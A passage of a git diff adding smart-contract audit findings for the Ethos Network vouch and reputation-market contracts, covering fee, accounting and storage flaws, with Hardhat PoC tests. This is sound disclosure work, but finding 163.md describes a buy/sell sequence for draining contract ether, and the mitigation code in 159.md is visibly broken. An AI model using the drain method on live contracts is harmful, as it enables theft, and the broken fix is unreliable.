deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +The calculation checks out, but the issue is how it's used. `applyFees` is used to apply all fees with given amount: +```solidity +function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + +``` + +As we can see, the calculation is done with each separate fee, instead of all fees in total. This brings a problem, because the way current calculation would calculate less fees than expected, and the deposit amount would be higher. For example, if we use the numbers from the summary section, to deposit 100 wei, with total fees being 7%, in total user would need to supply 107 wei, and the vouch balance will also be 100 wei, this is because user deposited 100 wei. Follow the logic and create a PoC to vouch 0.0107 ETH, and setting total fees to 700, which is 7%, it would bring the actual vouch balance to 0.0103 ETH. Detailed PoC suite will be included below. + +### Internal pre-conditions + +1. Protocol fee is 100 (1%), donation fee is 200 (2%), and pool fee is 400 (4%), making the total fee be 700, which is 7%. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Less fees are collected by all relevant parties, and user would deposit more amount than expected. + +### PoC + +Below is added to the `EthosVouch.test.ts` file: +```typescript + it('fee distribution check', async () => { + const { + ethosVouch, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + VOUCHER_0, + VOUCHER_1, + ethosProfile, + OWNER, + ADMIN + } = await loadFixture(deployFixture); + + // create a profile + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + await ethosProfile.connect(VOUCHER_1).createProfile(1); + + await ethosVouch.connect(ADMIN).setEntryProtocolFeeBasisPoints(100); + await ethosVouch.connect(ADMIN).setEntryDonationFeeBasisPoints(200); + await ethosVouch.connect(ADMIN).setEntryVouchersPoolFeeBasisPoints(400); + + console.log('protocol fee %:', await ethosVouch.entryProtocolFeeBasisPoints()); + console.log('donation fee %:', await ethosVouch.entryDonationFeeBasisPoints()); + console.log('pool fee %:', await ethosVouch.entryVouchersPoolFeeBasisPoints()); + + + // 0 + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0107'), + }); + + console.log('vouch balance:', ((await ethosVouch.vouches(0))["6"])); + + }) +``` + +The logic is simple, set fees as admin, and vouch to any profile with expected 0.0107 ETH of asset, which if the calculation is correct, vouch balance will be 0.01 ETH. Here is the console output: +```text +protocol fee %: 100n +donation fee %: 200n +pool fee %: 400n +vouch balance: 10384255484371966n + ✔ fee distribution check +``` + +If we normalize 10384255484371966 wei, which is 0.01038425548437196 ETH, around 3% higher than expected. + +### Mitigation + +The simple way of fixing would be let user provide a number, and calculate total fund needed, revert if not enough, refund is there is excessive. Another way of doing it, which is to keep the current calculation, but instead applying it on fees separately, do it as a whole, which is to say: +```text +toDeposit, totalFee = applyFees(funds, true, totalFeePoints); +protocolFee = toDeposit * protocolFeePoints / BasisPoint +.... +``` + +The above snippet is pseudo code, only to show the general idea. \ No newline at end of file diff --git a/157.md b/157.md new file mode 100644 index 0000000..9a51a74 --- /dev/null +++ b/157.md @@ -0,0 +1,73 @@ +Rich Sapphire Frog + +Medium + +# Mapping isParticipant is not updated when user sells 100% of its votes of any profileId. Also getParticipantCount() doesn't factor users who sold all their votes + +### Summary + +In the summary of ***isParticipant***, it is mentioned that it is used to check if the user has sold all his votes. But this update is missing in `sellVotes()` method. + +```solidity + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; + // profileId => participant => isParticipant + mapping(uint256 => mapping(address => bool)) public isParticipant; + ``` + +Also, The method `getParticipantCount()` doesn't check if the underlying participant in the participants array has sold all his votes or not. + +```solidity + function getParticipantCount(uint256 profileId) public view returns (uint256) { + _checkMarketExists(profileId); + return participants[profileId].length; + } +``` + +### Root Cause + +There is a missing handling in `sellVotes()`. Which should mark `isParticipant[profileId][msg.sender]=false` if the votesOwned by the msg.sender is 0. +`https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L514C5-L514C89` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +It breaks the assumption in the code that if the ***isParticipant*** mapping is true then the owner owns some of the votes of that ProfileId. It also corrupts `getParticipantCount()` response. + +### PoC + +_No response_ + +### Mitigation + +Add the following in `sellVotes()` method: +```solidity +if (votesOwned[msg.sender][profileId].votes[TRUST] + votesOwned[msg.sender][profileId].votes[DISTRUST] == 0) { + isParticipant[profileId][msg.sender] = false; +} +``` + +In `getParticipantCount()` either remove the element from ***participants*** mapping array or iterate over the array and calculate elements where isParticipant[profileId][msg.sender] = true. +```solidity +function getParticipantCount(uint256 profileId) public view returns (uint256) { + _checkMarketExists(profileId); + uint256 count = 0; + for(uint i=0; i 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + [...] +``` +Assuming that `entryProtocolFeeBasisPoints := 1000`, `entryDonationFeeBasisPoints := 1000`, and `entryVouchersPoolFeeBasisPoints := 1000`, then: + +protocolFee = total * 1000 / 11000 +donationFee = total * 1000 / 11000 +vouchersPoolFee = total * 1000 / 11000 +deposit = total * 8000 / 11000 +Real protocol fee percentage = 1000 / 8000 = 0.125 > 0.1 +Real donation fee percentage = 1000 / 8000 = 0.125 > 0.1 +Real vouchers pool fee percentage = 1000 / 8000 = 0.125 > 0.1 + + +### Mitigation +```solidity +EthosVouch.sol ++ function calcFeeEntry(uint256 total, uint256 feeBasisPoints1, uint256 feeBasisPoints2, uint256 feeBasisPoints3) internal pure returns (uint256 fee1, uint256 fee2, uint256 fee3) { + /* + * Formula derivation: + * 1. total = deposit + fee1 + fee2 + fee3 + * 2. fee1 = deposit * (feeBasisPoints1/10000), fee2 = deposit * (feeBasisPoints2/10000), fee3 = deposit * (feeBasisPoints3/10000) + * 3. total = deposit + deposit * (feeBasisPoints1/10000) + deposit * (feeBasisPoints2/10000) + deposit * (feeBasisPoints3/10000) + * 4. total = deposit * (1 + feeBasisPoints1/10000 + feeBasisPoints2/10000 + feeBasisPoints3/10000) + * 5. deposit = total / ((10000 + feeBasisPoints1 + feeBasisPoints2 + feeBasisPoints3)/10000) + * 6. fee1 = total / (10000 + feeBasisPoints1 + feeBasisPoints2 + feeBasisPoints3) * feeBasisPoints1 + fee2 = total / (10000 + feeBasisPoints2 + feeBasisPoints2 + feeBasisPoints3) * feeBasisPoints2 + fee3 = total / (10000 + feeBasisPoints3 + feeBasisPoints2 + feeBasisPoints3) * feeBasisPoints3 + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ ++ uint256 feeBasisPoints = feeBasisPoints1 + feeBasisPoints2 + feeBasisPoints3; ++ feeBasisPoints1 = total.mulDiv(feeBasisPoints1, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor); ++ feeBasisPoints2 = total.mulDiv(feeBasisPoints1, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor); ++ feeBasisPoints3 = total.mulDiv(feeBasisPoints1, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor); ++ } + +929: function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees +- uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +- uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +- uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); ++ (uint256 protocolFee, uint256 donationFee, uint256 protocolFee) = calcFeeEntry(amount, entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } + +``` \ No newline at end of file diff --git a/160.md b/160.md new file mode 100644 index 0000000..6a6c72f --- /dev/null +++ b/160.md @@ -0,0 +1,88 @@ +Hidden Blonde Mustang + +Medium + +# # Invalid `marketFunds[profileId]`(sellVotes()) + + +### Summary +`marketFunds[profileId]`s calculation is incorrect. + +### Root Cause +In the `sellVotes()` function, `marketFunds[profileId]` is decreased without accounting for the fees. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +The value of `marketFunds[profileId]` is decreased without including the protocol fees. +As a result, `marketFunds[profileId]` is greater than actual funds currently invested in this market. +Consequently, the `withdrawGraduatedMarketFunds()` function will withdraw more than intended, which may prevent others from being able to withdraw their funds. +Additionally, votes may not be sold due to insufficient funds. + +### PoC +```solidity +ReputationMarket.sol +660: function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +675: _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } + +495: function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + [...] +517: applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +522: marketFunds[profileId] -= fundsReceived; + [...] + } +``` +In the `sellVotes()` function, `marketFunds[profileId]` is only decreased by the funds sent to the seller, excluding protocol fees. + +### Mitigation +```solidity +ReputationMarket.sol +495: function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + [...] +517: applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; + [...] + } +``` diff --git a/161.md b/161.md new file mode 100644 index 0000000..4066d65 --- /dev/null +++ b/161.md @@ -0,0 +1,97 @@ +Fun Shamrock Wasp + +High + +# Inconsistency when handling profile vouch balance can lead to fund loss in edge case + +### Summary + +When a vouch is created, both author profile ID and author address is attached to the struct. The contract also allows any addresses within a profile to increase vouch. While not a source of truth, in the comments the devs have mentioned assets for vouching is tied to addresses instead of profile. But when two different addresses in the same profile increase vouch, one address can take all, and another one will take nothing. In the case of address compromise, it can cause more loss of funds. + +### Root Cause + +In [`increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426C1-L444C4) we see as long as `msg.sender` is from the same profile, such address can deposit more into the same vouch: +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +However, when `unvouch`: +```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +Even though comments say assets are tied to address, not profile, but only `vouch.authorAddress` can unvouch. This would raise an issue when two or more addresses have deposited in the same vouch, and in the end, no matter how much other addresses have deposited, only the author address can get all the amount. This is especially concerning when the author address is compromised, and there can be more to lose for users. + +### Internal pre-conditions + +1. Alice holds 3 addresses in her profile, which is 0xA, 0xB, and 0xC. +2. Alice vouched to Bob's profile with 0xA initially with 1 ETH, making this address the author address +3. Alice later used 0xB address to increase her vouch to Bob with another 2 ETH + +### External pre-conditions + +1. Alice's main address, 0xA is compromised, Alice acted quick and removed this address from her profile, and accepts the fate of losing the initial 1 ETH deposit. +2. Alice later wants to unvouch, to get her 2 ETH back for the deposit made with 0xB, but she could not, because only 0xA can unvouch as it's the author address. + +### Attack Path + +_No response_ + +### Impact + +The impact is for an user to lose additional funds in the edge presented above, if one address is compromised, the loss of all its assets can be expected, but it shouldn't be the case for assets originally holds by other address. + +### PoC + +_No response_ + +### Mitigation + +There are two issues here, one is in case of emergency, there is no way of rescuing assets in vouch, as assets are related to per address. The second one is despite it says assets are related to address, multi-address scenario would cause loss of funds. The mitigation suggestion for the latter issue is to track vouch and its depositors separately, or to make it simple, only allow author address to increase vouch. \ No newline at end of file diff --git a/162.md b/162.md new file mode 100644 index 0000000..4a88280 --- /dev/null +++ b/162.md @@ -0,0 +1,164 @@ +Quaint Tangerine Viper + +High + +# Inaccurate marketFunds Updates in ReputationMarket Contract + +### Summary + + This is issue is as a result of an improper management of market funds, where the protocol fees (entry and exit) and donation fees are not deducted when funds are added or removed from the marketFunds variable. As a result, the marketFunds for each profile grows beyond the actual available balance of the contract, leading to failures in fund withdrawal logic. + +### Root Cause + +The root cause lies in the incorrect calculation and storage of market funds. After buying votes, the fees (protocol and donation) are deducted from the total funds but are not reflected in the market funds storage variable, causing an inflated market funds balance. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + + Similarly, when selling votes, the protocol and exit fees are not properly deducted from the market funds, resulting in an incorrect market funds balance. This leads to a mismatch between the actual contract balance and the recorded market funds. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +However, withdrawGraduatedMarketFunds function assums that marketFunds[profileId] represents the actual available funds for that profile. However, the funds are inflated due to the contract's failure to properly deduct protocol and donation fees when updating market funds. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + + +### Internal pre-conditions + +1. marketFunds is updated directly using the total fundsPaid or fundsReceived without deducting protocol and donation fees. +2. No mechanism exists to reconcile marketFunds with the actual contract balance. + +### External pre-conditions + +1. Admins sets the fees i.e (entryProtocolFeeBasisPoints, exitProtocolFeeBasisPoints, donationBasisPoints). +2. A user buys or sells votes using the buyVotes or sellVotes functions. +3. Withdrawal of graduated market funds is attempted using withdrawGraduatedMarketFunds. +4. One or Multiple active markets exist, with overlapping fund usage and withdrawal scenarios. + +### Attack Path + +1. User interacts with the buyVotes function, leading to overestimation of marketFunds for the specific profile. +2. User then withdraws graduated market funds for this profile, depleting funds that should be available for active markets even further. +3, Attempt to withdraw funds from the markets leads to a failure due to insufficient balance. + +### Impact + +1. Contract-wide fund mismanagement: Overestimated marketFunds allows one market to deplete funds intended for others. + +2. Reversion in critical functions: Withdrawals (withdrawGraduatedMarketFunds, sellVotes, withdrawDonations) fail due to insufficient contract balance. + +This will ultimately lead to loss of funds + +### PoC + +paste into contracts/test/reputationMarket/rep.market.test.ts + +```solidity + describe("my own test", () => { + it('cybrid test', async () => { + const entryFee = 200; + const exitFee = 300; + const donationFee = 100; + const protocolFeeAddress = ethers.Wallet.createRandom().address; + + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(donationFee); + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(exitFee); + + + //buying .. + const buyAmount = ethers.parseEther('0.1'); + const { simulatedVotesBought } = await userA.simulateBuy({ buyAmount }); + await reputationMarket + .connect(userA.signer) + .buyVotes(DEFAULT.profileId, DEFAULT.isPositive, simulatedVotesBought, 1n, { + value: buyAmount, + }); + + let marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + let reputationMarketBalance = await ethers.provider.getBalance(reputationMarket); + + + + //issue1. After buying, when updating the marketFunds storage variable, the total fees where not removed from the fundsPaid + //hence, this updates the marketFunds with funds that that has already been transfered to the protocolFeeAddress and the one added to the donationEscrow of the recipient + // this the lead to the marketfunds of each profile Id greater than the contract balance + // marketFunds[profileId] += fundsPaid + // actualBalance += fundsPaid - protocolfee + console.log("market funds", marketFunds, reputationMarketBalance); //marketFunds[profileId]=111967893217893214n, balance = 109967893217893214n + + + + //selling + const { simulatedVotesSold } = + await userA.simulateSell({ sellVotes: DEFAULT.sellVotes }); + await reputationMarket + .connect(userA.signer) + .sellVotes(DEFAULT.profileId, DEFAULT.isPositive, simulatedVotesSold); + + marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + reputationMarketBalance = await ethers.provider.getBalance(reputationMarket); + + //issue2: same thing happens in selling as the update goes thus + //marketFunds[profileId] -= fundsReceived; + // actualBalance -= fundsReceived + exitfee; + // Further making marketFunds[profileId] increase over actualBalance + console.log("market funds", marketFunds, reputationMarketBalance); //marketFunds[profileId]=30519036796536796n, balance = 26000000000000000n + + + + // however, this is not expected in the withdrawGraduatedMarketFunds functions as it attempts to withdraw an amount of marketFunds[profileId]. + // This is with the assumption that marketFunds reflect the funds for each market in the contract, and it dosen't consider the fees + // This will then lead the revertion due to attempt to withdraw an amount greater than the balance of the contract. + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']); + + await reputationMarket.connect(deployer.ADMIN).graduateMarket(DEFAULT.profileId) + + await expect( + reputationMarket.connect(deployer.ADMIN).withdrawGraduatedMarketFunds(DEFAULT.profileId) + ).to.be.revertedWith("ETH transfer failed"); + + + + //This will flow through in a situation where there are more than one market which will lead to stealing funds from the yet to be graduated market + //e.g + // Marketfunds[profileId1] = 2 ether, actualBalance = 1.5 ether + // Marketfunds[profileId2] = 1.5 ether, actualBalance = 1 ether + // Total = 3.5 ether, actualBalance = 2 ether + + // withdrawing GraduatedMarketFunds market of profileId1 will lead to the deduction of 2 ether stealing additional 0.5 ether, leaving the funds available to only 0.5 ether + // Any attempt to withdraw GraduatedMarketFunds for profileId2 will then lead to ETH transfer failed error as the funds is not up to 1.5 ether + + + // This will also lead to issues in many other functions that withdraw funds from the reputationMarket contract such as + //sellVotes i.e it will revert if there is no enough funds + // withdrawDonations i.e graduating market does not take this into consideration, as it attempts to withdraw it all. Hence, this will revert due to lack of funds + + + + }); + }) + + +``` + +### Mitigation + +1. Adjust marketFunds Update Logic: Exclude protocol, donation, and exit fees when updating marketFunds. +i.e in buyVotes +```solidity +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donationFee); +``` + +in sellVotes +```solidity +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; +``` + +2. Implement another another logic so withdrawGraduatedMarketFunds does not use marketFunds[profileId] as the withdrawal amount \ No newline at end of file diff --git a/163.md b/163.md new file mode 100644 index 0000000..d289ab3 --- /dev/null +++ b/163.md @@ -0,0 +1,141 @@ +Hidden Blonde Mustang + +High + +# # Anyone Can Get Ether from This Contract + + +### Summary +Anyone can buy votes at a low price and sell them for a higher price. + +### Root Cause +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +Described in the Proof of Concept (PoC) + +### Impact +Anyone can get ether until there is no ether in this contract. +And then votes can not be sold. +This represents a design error. + +### PoC +```solidity +ReputationMarket.sol +942: function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; +972: fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } + +1003: function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +1038: fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` +Assume that `market.votes[0] := v0`, `market.votes[1] := v1`, and `market.basePrice := b`. +Without loss of generality, assume that `v0 <= v1`. +If someone buys `2n` votes in the following order: + vote0, vote1, vote0, vote1, ..., vote0, vote1, the total price is denoted as `t1`. +When they sell the `n` number of `vote0`s and then sell `n` number of `vote1`s, the total price is denoted as `t2`. +Then: + t1 = b * sum((v0 + i)/(v0 + v1 + 2*i) + (v1 + i)/(v0 + v1 + 2*i + 1)), (i = [0,n-1]) + t2 = b * (sum((v0 + i)/(v0 + v1 + n + i)) + sum((v1 + i)/(v0 + v1 + i))), (i = [0,n-1]) +It follows that `t1 < t2` (when `n>1`) +For example: + Let `v0 := 1`, `v1 := 1`, and `n := 2`. Then + `t1 = b * (1/2 + 1/3 + 2/4 + 2/5)`,`t2 = b * (2/5 + 1/4 + 2/3 + 1/2)`. Thus `t1 < t2`. + Let `v0 := 1`, `v1 := 1`, and `n := 10`. Then + `t1 = b * (1/2 + 1/3 + 2/4 + 2/5 + ... + 11/21 + 11/22) = b*9.40956` + Including the fee : `t1 * 10000 / (10000 - entryProtocolFeeBasisPoints - donationBasisPoints) <= t1/0.9 = b*10.45507` + `t2 = b * (10/21 + 9/20 + 8/19 + ... + 1/12 + 10/11 + 9/10 + ... + 1/2) = b*11.09983` + Excluding the fee : `t2 * (10000 - exitProtocolFeeBasisPoints) / 10000 >= t2*0.95 = b*10.54484` + Thus, the user gains at least `t2*0.95 - t1/0.9 = b*0.08977` + when `v0 := 1`, `v1 := 1`, and `n := 20`, they gain at least `b*0.98166` + when `v0 := 1`, `v1 := 1`, and `n := 100`, they gain at least `b*10.37776` + when `v0 := 1000`, `v1 := 1000`, and `n := 100000`, they gain at least `b*9592.32668` + +If someone performs this operation multiple times or selects `n` correctly, they can acquire most of the ether in this contract. +### Mitigation diff --git a/164.md b/164.md new file mode 100644 index 0000000..f7e03c8 --- /dev/null +++ b/164.md @@ -0,0 +1,37 @@ +Fun Shamrock Wasp + +Medium + +# Corruptible storage pattern + +### Summary + +Both contracts in scope inherit contracts which also inherit more contracts. This structure increases the complexity, and upon upgrade of any contracts in the middle will potentially corrupt storage states. While the problematic contract, `AccessControl` is not in scope, but two contracts all extends from it. + +### Root Cause + +Both `EthosVouch` and `ReputationMarket` inherit `AccessControl`, which itself also extends from `PausableUpgradeable` and `AccessControlEnumerableUpgradeable`. `AccessControl` does not have a `_gap` variable, and when it's being upgraded, it can very well affect the state of `EthosVouch` and `ReputationMarket`. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Storage can be corrupted due to lack of `_gap` + +### PoC + +_No response_ + +### Mitigation + +Add `_gap` to `AccessControl` \ No newline at end of file diff --git a/165.md b/165.md new file mode 100644 index 0000000..3fdeaec --- /dev/null +++ b/165.md @@ -0,0 +1,52 @@ +Melodic Taupe Cyborg + +Medium + +# DEFAULT_PRICE is Misassigned + +### Summary + +The value of `DEFAULT_PRICE` appears to be misassigned, as certain operations under the NatSpec do not match the current implementation. + +### Root Cause + +* [ReputationMarket.sol#L79](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L79) +* [ReputationMarket.sol#L221](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L221) +* [ReputationMarket.sol#L225](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L225) + + +In the NatSpec for the default tier, we can read: + +> 0.002 ETH initial liquidity + +This is 10 times smaller than the current implementation: + +> 2 * DEFAULT_PRICE + +This also applies to the Deluxe and Premium Tiers. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When users call `ReputationMarket::createMarketWithConfig`, they must provide a minimum of 10 times more ETH than expected. + +### PoC + +_No response_ + +### Mitigation + +```solidity +DEFAULT_PRICE = 0.001 ether; +``` \ No newline at end of file diff --git a/166.md b/166.md new file mode 100644 index 0000000..3ba82b3 --- /dev/null +++ b/166.md @@ -0,0 +1,42 @@ +Kind White Buffalo + +Medium + +# Vouchers can pay less fees through `increaseVouch` + +### Summary + +When `increaseVouch` is called the caller must pay the `vouchersPoolFee` which rewards all profiles that have also vouched for the subject. The issue is that the caller's profile will also be rewarded, thus taking a portion of the fee that should be allocated to the rest of the profiles. This is problematic because if a voucher intends to vouch a significant amount they can pay fewer fees by first vouching the minimum amount and after that increasing the vouch to their desired amount. + +### Root Cause + +In `_rewardPreviousVouchers` it is not validated whether the profile being rewarded is not the same as the profile increasing the vouch: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L721-L731 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. For simplicity let's say that 10% of a vouch must be rewarded to previous vouchers (this is not factually correct as the percent of the total fees cannot exceed 10%). +2. A profile wants to vouch for another profile with 10 ETH, currently, the other profile has been vouched with the minimum amount, thus, 1 ETH of the vouch amount will have to be deducted for the `entryVouchersPoolFee`. +3. However, in order to decrease that fee the voucher can firstly vouch the minimum amount, paying 10% of 0.0001 ETH 